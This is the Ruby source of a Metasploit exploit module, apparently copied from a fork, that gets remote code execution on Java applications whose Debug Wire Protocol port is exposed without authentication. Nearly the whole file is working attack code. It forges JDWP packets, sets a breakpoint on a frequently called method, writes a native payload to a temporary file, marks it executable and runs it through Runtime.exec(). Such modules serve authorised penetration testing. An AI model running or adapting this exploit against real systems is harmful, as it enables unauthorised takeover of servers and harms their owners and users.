Files
metasploit-gs/modules/exploits/multi/misc/java_jdwp_debugger.rb
T
2014-06-04 12:48:20 -05:00

977 lines
26 KiB
Ruby

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
HANDSHAKE = "JDWP-Handshake"
REQUEST_PACKET_TYPE = 0x00
REPLY_PACKET_TYPE = 0x80
# Command signatures
VERSION_SIG = [1, 1]
CLASSESBYSIGNATURE_SIG = [1, 2]
ALLCLASSES_SIG = [1, 3]
ALLTHREADS_SIG = [1, 4]
IDSIZES_SIG = [1, 7]
CREATESTRING_SIG = [1, 11]
SUSPENDVM_SIG = [1, 8]
RESUMEVM_SIG = [1, 9]
SIGNATURE_SIG = [2, 1]
FIELDS_SIG = [2, 4]
METHODS_SIG = [2, 5]
GETVALUES_SIG = [2, 6]
CLASSOBJECT_SIG = [2, 11]
INVOKESTATICMETHOD_SIG = [3, 3]
CREATENEWINSTANCE_SIG = [3, 4]
REFERENCETYPE_SIG = [9, 1]
INVOKEMETHOD_SIG = [9, 6]
STRINGVALUE_SIG = [10, 1]
THREADNAME_SIG = [11, 1]
THREADSUSPEND_SIG = [11, 2]
THREADRESUME_SIG = [11, 3]
THREADSTATUS_SIG = [11, 4]
EVENTSET_SIG = [15, 1]
EVENTCLEAR_SIG = [15, 2]
EVENTCLEARALL_SIG = [15, 3]
# Other codes
MODKIND_COUNT = 1
MODKIND_THREADONLY = 2
MODKIND_CLASSMATCH = 5
MODKIND_LOCATIONONLY = 7
EVENT_BREAKPOINT = 2
SUSPEND_EVENTTHREAD = 1
SUSPEND_ALL = 2
NOT_IMPLEMENTED = 99
VM_DEAD = 112
INVOKE_SINGLE_THREADED = 2
TAG_OBJECT = 76
TAG_STRING = 115
TYPE_CLASS = 1
TAG_ARRAY = 91
TAG_VOID = 86
def initialize
super(
'Name' => 'Java Debug Wire Protocol Remote Code Execution',
'Description' => %q{
This module abuses exposed Java Debug Wire Protocol services in order
to execute arbitrary Java code remotely. It just uses the protocol
features, since no authentication is required if the service is enabled.
},
'Author' => [
'prdelka', # Vulnerability discovery
'Christophe Alladoum', # JDWP Analysis and Exploit
'Redsadic <julian.vilas[at]gmail.com>' # Metasploit Module
],
'References' =>
[
['OSVDB', '96066'],
['EDB', '27179'],
['URL', 'http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html'],
['URL', 'http://www.exploit-db.com/papers/27179/'],
['URL', 'https://svn.nmap.org/nmap/scripts/jdwp-exec.nse'],
['URL', 'http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html']
],
'Platform' => %w{ linux win },
'Arch' => ARCH_X86,
'Payload' =>
{
'Space' => 2048,
'BadChars' => '',
'DisableNops' => true
},
'Targets' =>
[
[ 'Linux x86 (Native Payload)',
{
'Platform' => 'linux'
}
],
[ 'Windows x86 (Native Payload)',
{
'Platform' => 'win'
}
]
],
'DefaultTarget' => 0,
'License' => MSF_LICENSE,
'DisclosureDate' => 'May 29 2014'
)
register_options(
[
Opt::RPORT(8000),
OptInt.new('STATUS_EVERY', [true, 'How many iterations until status', 1000]),
OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10]),
OptString.new('TMP_PATH', [ false, 'A directory where we can write files. Ensure there is a trailing slash']),
OptString.new('BREAKPOINT', [ true, 'Frequently called method for setting breakpoint', 'java.net.ServerSocket.accept' ]),
OptPort.new('BREAKPOINT_PORT', [ false, 'If debugging an application accessible from network and breakpoint is on socket accept, set the port of the app to force a socket connection' ])
], self.class)
register_advanced_options(
[
OptInt.new('BREAK_TIMEOUT', [true, 'Number of seconds to wait for a breakpoint hit', 30]),
OptInt.new('NUM_RETRIES', [true, 'Number of retries when waiting for event', 10])
], self.class)
end
def check
connect
res = handshake
disconnect
if res.nil?
return Exploit::CheckCode::Unknown
elsif res == HANDSHAKE
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Safe
end
def peer
return "#{rhost}:#{rport}"
end
# Establishes handshake with the server
def handshake
sock.put(HANDSHAKE)
return sock.get(datastore['RESPONSE_TIMEOUT'])
end
# Forges packet for JDWP protocol
def create_packet(cmdsig, data="")
flags = 0x00
cmdset, cmd = cmdsig
pktlen = data.length + 11
buf = [pktlen, @my_id, flags, cmdset, cmd]
pkt = buf.pack("NNCCC")
pkt << data
@my_id += 2
return pkt
end
# Reads packet response for JDWP protocol
def read_reply(timeout)
response = sock.get(timeout)
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless response
pktlen,id,flags,errcode = response.unpack('NNCn')
response.slice!(0..10)
fail_with(Failure::Unknown, "Server sent error with code #{errcode}") if (errcode != 0) && (flags == REPLY_PACKET_TYPE)
return response
end
# Returns the characters contained in the string defined in target VM
def solve_string(data)
sock.put(create_packet(STRINGVALUE_SIG, data))
response = read_reply(datastore['RESPONSE_TIMEOUT'])
return "" unless response
return read_string(response)
end
# Unpacks received string structure from the server response into a normal string
def read_string(data)
data_len = data.unpack('N')[0]
data.slice!(0..3)
return data.slice!(0,data_len)
end
# Creates a new string object in the target VM and returns its id
def create_string(data)
buf = build_string(data)
sock.put(create_packet(CREATESTRING_SIG, buf))
buf = read_reply(datastore['RESPONSE_TIMEOUT'])
return parse_entries(buf, [[@vars['objectid_size'], "obj_id"]], false)
end
# Packs normal string into string structure for target VM
def build_string(data)
ret = [data.length].pack('N')
ret << data
return ret
end
# Pack Fixnum for JDWP protocol
def format(fmt, value)
if fmt == "L" || fmt == 8
return [value].pack('Q>')
elsif fmt == "I" || fmt == 4
return [value].pack('N')
end
fail_with(Failure::Unknown, "Unknown format")
end
# Unpack Fixnum from JDWP protocol
def unformat(fmt, value)
if fmt == "L" || fmt == 8
return value[0..7].unpack('Q>')[0]
elsif fmt == "I" || fmt == 4
return value[0..3].unpack('N')[0]
end
fail_with(Failure::Unknown, "Unknown format")
end
# Parses given data according to a set of formats
def parse_entries(buf, formats, explicit=true)
entries = []
if explicit
nb_entries = buf.unpack('N')[0]
buf.slice!(0..3)
else
nb_entries = 1
end
nb_entries.times do |var|
print_status("#{peer} - #{Time.now.getutc} - Parsed #{var} classes of #{nb_entries}") if var != 0 && var % datastore['STATUS_EVERY'] == 0
data = {}
formats.each do |fmt,name|
if fmt == "L" or fmt == 8
data[name] = buf.unpack('Q>')[0]
buf.slice!(0..7)
elsif fmt == "I" or fmt == 4
data[name] = buf.unpack('N')[0]
buf.slice!(0..3)
elsif fmt == "S"
data_len = buf.unpack('N')[0]
buf.slice!(0..3)
data[name] = buf.slice!(0,data_len)
elsif fmt == "C"
data[name] = buf.unpack('C')[0]
buf.slice!(0)
elsif fmt == "Z"
t = buf.unpack('C')[0]
buf.slice!(0)
if t == 115
data[name] = solve_string(buf.slice!(0..7))
elsif t == 73
data[name], buf = buf.unpack('NN')
end
else
fail_with(Failure::UnexpectedReply, "Unexpected data when parsing server response")
end
end
entries.append(data)
end
return entries
end
# Gets the sizes of variably-sized data types in the target VM
def idsizes
sock.put(create_packet(IDSIZES_SIG))
response = read_reply(datastore['RESPONSE_TIMEOUT'])
formats = [
["I", "fieldid_size"],
["I", "methodid_size"],
["I", "objectid_size"],
["I", "referencetypeid_size"],
["I", "frameid_size"]
]
entries = parse_entries(response, formats, false)
entries.each { |e| @vars.merge!(e) }
end
# Gets the JDWP version implemented by the target VM
def get_version
sock.put(create_packet(VERSION_SIG))
response = read_reply(datastore['RESPONSE_TIMEOUT'])
formats = [
["S", "descr"],
["I", "jdwp_major"],
["I", "jdwp_minor"],
["S", "vm_version"],
["S", "vm_name"]
]
entries = parse_entries(response, formats, false)
entries.each { |e| @vars.merge!(e) }
end
def version
return "#{@vars["vm_name"]} - #{@vars["vm_version"]}"
end
# Returns reference types for all classes currently loaded by the target VM
def get_all_classes
return unless @classes.empty?
sock.put(create_packet(ALLCLASSES_SIG))
response = read_reply(datastore['RESPONSE_TIMEOUT'])
formats = [
["C", "reftype_tag"],
[@vars["referencetypeid_size"], "reftype_id"],
["S", "signature"],
["I", "status"]
]
print_status("#{peer} - Parsing list of classes...")
@classes.append(parse_entries(response, formats))
end
# Checks if specified class is currently loaded by the target VM and returns it
def get_class_by_name(name)
@classes.each do |entry_array|
entry_array.each do |entry|
return entry if entry["signature"].downcase == name.downcase
end
end
nil
end
# Returns information for each method in a reference type (ie. object). Inherited methods are not included.
# The list of methods will include constructors (identified with the name "<init>")
def get_methods(reftype_id)
unless @methods.has_key?(reftype_id)
refid = format(@vars["referencetypeid_size"],reftype_id)
sock.put(create_packet(METHODS_SIG, refid))
response = read_reply(datastore['RESPONSE_TIMEOUT'])
formats = [
[@vars["methodid_size"], "method_id"],
["S", "name"],
["S", "signature"],
["I", "mod_bits"]
]
@methods[reftype_id] = parse_entries(response, formats)
end
return @methods[reftype_id]
end
# Checks if specified method is currently loaded by the target VM and returns it
def get_method_by_name(classname, name, signature = nil)
@methods[classname].each do |entry|
if signature.nil?
return entry if entry["name"].downcase == name.downcase
else
return entry if (entry["name"].downcase == name.downcase) && (entry["signature"].downcase == signature.downcase)
end
end
nil
end
# Checks if specified class and method are currently loaded by the target VM and returns them
def get_class_and_method(looked_class, looked_method, signature = nil)
target_class = get_class_by_name(looked_class)
fail_with(Failure::Unknown, "Class \"#{looked_class}\" not found") unless target_class
get_methods(target_class["reftype_id"])
target_method = get_method_by_name(target_class["reftype_id"], looked_method, signature)
fail_with(Failure::Unknown, "Method \"#{looked_method}\" not found") unless target_method
return target_class, target_method
end
# Transform string contaning class and method(ie. from "java.net.ServerSocket.accept" to "Ljava/net/Serversocket;" and "accept")
def str2fqclass(s)
i = s.rindex(".")
fail_with(Failure::BadConfig, 'Bad defined break class') unless i
method = s[i+1..-1] # Subtr of s, from last '.' to the end of the string
classname = 'L'
classname << s[0..i-1].gsub(/[.]/, '/')
classname << ';'
return classname, method
end
# Resumes execution of the application after the suspend command or an event has stopped it
def resume_vm
sock.put(create_packet(RESUMEVM_SIG))
response = read_reply(datastore['RESPONSE_TIMEOUT'])
fail_with(Exploit::Failure::Unknown, "No network response") unless response
end
# Sets an event request. When the event described by this request occurs, an event is sent from the target VM
def send_event(event_code, args)
data = [event_code].pack('C')
data << [SUSPEND_ALL].pack('C')
data << [args.length].pack('N')
args.each do |kind,option|
data << [kind].pack('C')
data << option
end
sock.put(create_packet(EVENTSET_SIG, data))
response = read_reply(datastore['RESPONSE_TIMEOUT'])
fail_with(Exploit::Failure::Unknown, "No network response") unless response
return response.unpack('N')[0]
end
# Waits user defined time for an event sent from the target VM (or force event if possible)
def wait_for_event
force_net_event unless datastore['BREAKPOINT_PORT'].nil? || (datastore['BREAKPOINT_PORT'] == 0)
buf = read_reply(datastore['BREAK_TIMEOUT'])
return buf
end
# Force a network event for hitting breakpoint when object of debugging is a network app and break class is socket
def force_net_event
print_status("#{peer} - Forcing network event over #{datastore['BREAKPOINT_PORT']}")
print_status("#{rhost}")
print_status("#{datastore['BREAKPOINT_PORT']}")
rex_socket = Rex::Socket::Tcp.create(
'PeerHost' => rhost,
'PeerPort' => datastore['BREAKPOINT_PORT'],
)
rex_socket.put("GET / HTTP/1.0\r\n\r\n")
rex_socket.shutdown
rex_socket.close
print_status("BYE force_net_event")
end
# Parses a received event and compares it with the expected
def parse_event_breakpoint(buf, event_id)
r_id = buf[6..9].unpack('N')[0]
return nil unless event_id == r_id
len = @vars["objectid_size"]
t_id = unformat(len,buf[10..10+len-1])
return r_id, t_id
end
# Clear a defined event request
def clear_event(event_code, r_id)
data = [event_code].pack('C')
data << [r_id].pack('N')
sock.put(create_packet(EVENTCLEAR_SIG, data))
read_reply(datastore['RESPONSE_TIMEOUT'])
end
# Invokes a static method. The method must be member of the class type or one of its superclasses,
# superinterfaces, or implemented interfaces. Access control is not enforced; for example, private methods can be invoked.
def invoke_static(class_id, thread_id, meth_id, args = [])
data = format(@vars["referencetypeid_size"], class_id)
data << format(@vars["objectid_size"], thread_id)
data << format(@vars["methodid_size"], meth_id)
data << [args.length].pack('N')
args.each do |arg|
data << arg
data << [0].pack('N')
end
sock.put(create_packet(INVOKESTATICMETHOD_SIG, data))
buf = read_reply(datastore['RESPONSE_TIMEOUT'])
return buf
end
# Invokes a instance method. The method must be member of the object's type or one of its superclasses,
# superinterfaces, or implemented interfaces. Access control is not enforced; for example, private methods can be invoked.
def invoke(obj_id, thread_id, class_id, meth_id, args = [])
data = format(@vars["objectid_size"], obj_id)
data << format(@vars["objectid_size"], thread_id)
data << format(@vars["referencetypeid_size"], class_id)
data << format(@vars["methodid_size"], meth_id)
data << [args.length].pack('N')
args.each do |arg|
data << arg
data << [0].pack('N')
end
sock.put(create_packet(INVOKEMETHOD_SIG, data))
buf = read_reply(datastore['RESPONSE_TIMEOUT'])
return buf
end
# Creates a new object of specified class, invoking the specified constructor. The constructor method ID must be a member of the class type.
def create_instance(class_id, thread_id, meth_id, args = [])
data = format(@vars["referencetypeid_size"], class_id)
data << format(@vars["objectid_size"], thread_id)
data << format(@vars["methodid_size"], meth_id)
data << [args.length].pack('N')
args.each do |arg|
data << arg
data << [0].pack('N')
end
sock.put(create_packet(CREATENEWINSTANCE_SIG, data))
buf = read_reply(datastore['RESPONSE_TIMEOUT'])
return buf
end
def temp_path
return nil unless datastore['TMP_PATH']
unless datastore['TMP_PATH'].end_with?('/') || datastore['TMP_PATH'].end_with?('\\')
fail_with(Failure::BadConfig, 'You need to add a trailing slash/backslash to TMP_PATH')
end
datastore['TMP_PATH']
end
# Configures payload according to targeted architecture
def setup_payload
# 1. Setting up generic values.
payload_exe = rand_text_alphanumeric(4 + rand(4))
pl_exe = generate_payload_exe
# 2. Setting up arch specific...
case target['Platform']
when 'linux'
path = temp_path || '/tmp/'
payload_exe = "#{path}#{payload_exe}"
when 'windows'
path = temp_path || './'
payload_exe = "#{path}#{payload_exe}.exe"
else
fail_with(Failure::NoTarget, 'Unsupported target platform')
end
return payload_exe, pl_exe
end
# Invokes java.lang.System.getProperty() for OS fingerprinting purposes
def fingerprint_os(thread_id)
size = @vars["objectid_size"]
# 1. Creates a string on target VM with the property to be getted
cmd_obj_ids = create_string("os.name")
fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") if cmd_obj_ids.length == 0
cmd_obj_id = cmd_obj_ids[0]["obj_id"]
# 2. Gets property
data = [TAG_OBJECT].pack('C')
data << format(size, cmd_obj_id)
data_array = [data]
runtime_class , runtime_meth = get_class_and_method("Ljava/lang/System;", "getProperty")
buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array)
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected String") unless buf[0] == [TAG_STRING].pack('C')
str = unformat(size, buf[1..1+size-1])
@os = solve_string(format(@vars["objectid_size"],str))
end
# Creates a file on the server given a execution thread
def create_file(thread_id, filename)
cmd_obj_ids = create_string(filename)
fail_with(Failure::Unknown, "Failed to allocate string for filename") if cmd_obj_ids.length == 0
cmd_obj_id = cmd_obj_ids[0]["obj_id"]
size = @vars["objectid_size"]
data = [TAG_OBJECT].pack('C')
data << format(size, cmd_obj_id)
data_array = [data]
runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "<init>", "(Ljava/lang/String;)V")
buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"], data_array)
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C')
file = unformat(size, buf[1..1+size-1])
fail_with(Failure::Unknown, "Failed to create file. Try to change the TMP_PATH") if file.nil? || (file == 0)
register_files_for_cleanup(filename)
return file
end
# Stores the payload on a new string created in target VM
def upload_payload(thread_id, pl_exe)
size = @vars["objectid_size"]
runtime_class , runtime_meth = get_class_and_method("Lsun/misc/BASE64Decoder;", "<init>")
buf = create_instance(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C')
decoder = unformat(size, buf[1..1+size-1])
fail_with(Failure::Unknown, "Failed to create Base64 decoder object") if decoder.nil? || (decoder == 0)
cmd_obj_ids = create_string("#{Rex::Text.encode_base64(pl_exe)}")
fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") if cmd_obj_ids.length == 0
cmd_obj_id = cmd_obj_ids[0]["obj_id"]
data = [TAG_OBJECT].pack('C')
data << format(size, cmd_obj_id)
data_array = [data]
runtime_class , runtime_meth = get_class_and_method("Lsun/misc/CharacterDecoder;", "decodeBuffer", "(Ljava/lang/String;)[B")
buf = invoke(decoder, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array)
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected ByteArray") unless buf[0] == [TAG_ARRAY].pack('C')
pl = unformat(size, buf[1..1+size-1])
return pl
end
# Dumps the payload on a opened server file given a execution thread
def dump_payload(thread_id, file, pl)
size = @vars["objectid_size"]
data = [TAG_OBJECT].pack('C')
data << format(size, pl)
data_array = [data]
runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "write", "([B)V")
buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"], data_array)
fail_with(Failure::Unknown, "Exception ocurred when writing to file") unless buf[0] == [TAG_VOID].pack('C')
end
# Closes a file on the server given a execution thread
def close_file(thread_id, file)
size = @vars["objectid_size"]
runtime_class , runtime_meth = get_class_and_method("Ljava/io/FileOutputStream;", "close")
buf = invoke(file, thread_id, runtime_class["reftype_id"], runtime_meth["method_id"])
fail_with(Failure::Unknown, "Exception ocurred when closing file") unless buf[0] == [TAG_VOID].pack('C')
end
# Executes a system command on target VM making use of java.lang.Runtime.exec()
def execute_command(thread_id, cmd)
size = @vars["objectid_size"]
# 1. Creates a string on target VM with the command to be executed
cmd_obj_ids = create_string(cmd)
fail_with(Failure::Unknown, "Failed to allocate string for payload dumping") if cmd_obj_ids.length == 0
cmd_obj_id = cmd_obj_ids[0]["obj_id"]
# 2. Gets Runtime context
runtime_class , runtime_meth = get_class_and_method("Ljava/lang/Runtime;", "getRuntime")
buf = invoke_static(runtime_class["reftype_id"], thread_id, runtime_meth["method_id"])
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C')
rt = unformat(size, buf[1..1+size-1])
fail_with(Failure::Unknown, "Failed to invoke Runtime.getRuntime()") if rt.nil? || (rt == 0)
# 3. Finds and executes "exec" method supplying the string with the command
exec_meth = get_method_by_name(runtime_class["reftype_id"], "exec")
fail_with(Failure::BadConfig, "Cannot find method Runtime.exec()") if exec_meth.nil?
data = [TAG_OBJECT].pack('C')
data << format(size, cmd_obj_id)
data_array = [data]
buf = invoke(rt, thread_id, runtime_class["reftype_id"], exec_meth["method_id"], data_array)
fail_with(Failure::UnexpectedReply, "Unexpected returned type: expected Object") unless buf[0] == [TAG_OBJECT].pack('C')
end
# Sets a breakpoint on frequently called method (user-defined)
def set_breakpoint
vprint_status("#{peer} - Setting breakpoint on class: #{datastore['BREAKPOINT']}")
# 1. Gets reference of the method where breakpoint is going to be setted
classname, method = str2fqclass(datastore['BREAKPOINT'])
break_class = get_class_by_name(classname)
fail_with(Failure::NotFound, "Could not access #{datastore['BREAKPOINT']}, probably is not used by the application") unless break_class
get_methods(break_class["reftype_id"])
m = get_method_by_name(break_class["reftype_id"], method)
fail_with(Failure::BadConfig, "Method of Break Class not found") unless m
# 2. Sends event request for this method
loc = [TYPE_CLASS].pack('C')
loc << format(@vars["referencetypeid_size"], break_class["reftype_id"])
loc << format(@vars["methodid_size"], m["method_id"])
loc << [0,0].pack('NN')
data = [[MODKIND_LOCATIONONLY, loc]]
r_id = send_event(EVENT_BREAKPOINT, data)
fail_with(Failure::Unknown, "Could not set the breakpoint") unless r_id
return r_id
end
# Uploads & executes the payload on the target VM
def exec_payload(thread_id)
# 0. Fingerprinting OS
fingerprint_os(thread_id)
vprint_status("#{peer} - Executing payload on \"#{@os}\", target version: #{version}")
# 1. Prepares the payload
payload_exe, pl_exe = setup_payload
# 2. Creates file on server for dumping payload
file = create_file(thread_id, payload_exe)
# 3. Uploads payload to the server
pl = upload_payload(thread_id, pl_exe)
# 4. Dumps uploaded payload into file on the server
dump_payload(thread_id, file, pl)
# 5. Closes the file on the server
close_file(thread_id, file)
# 5b. When linux arch, give execution permissions to file
cmd = "chmod +x #{payload_exe}"
execute_command(thread_id, cmd) if target['Platform'] == 'linux'
# 6. Executes the dumped payload
cmd = "#{payload_exe}"
execute_command(thread_id, cmd)
end
def exploit
@my_id = 0x01
@vars = {}
@classes = []
@methods = {}
@os = nil
connect
unless handshake == HANDSHAKE
fail_with(Failure::NotVulnerable, "#{peer} - JDWP Protocol not found")
end
# 1. Get the sizes of variably-sized data types in the target VM
idsizes
# 2. Get the version of the target VM
get_version
# 3. Get all currently loaded classes by the target VM
get_all_classes
# 4. Sets a breakpoint on frequently called method (user-defined)
r_id = set_breakpoint
# 5. Resume VM and wait for event
resume_vm
secs = datastore['BREAK_TIMEOUT']
ret = ""
datastore['NUM_RETRIES'].times do |i|
print_status("#{peer} - Waiting for breakpoint hit #{i} during #{secs} seconds...")
buf = wait_for_event
ret = parse_event_breakpoint(buf, r_id)
break unless ret.nil?
end
r_id, t_id = ret
vprint_status("#{peer} - Received matching event from thread #{t_id}")
# 6. Clears event
clear_event(EVENT_BREAKPOINT, r_id)
# 7. Drop & execute payload
exec_payload(t_id)
resume_vm
disconnect
end
end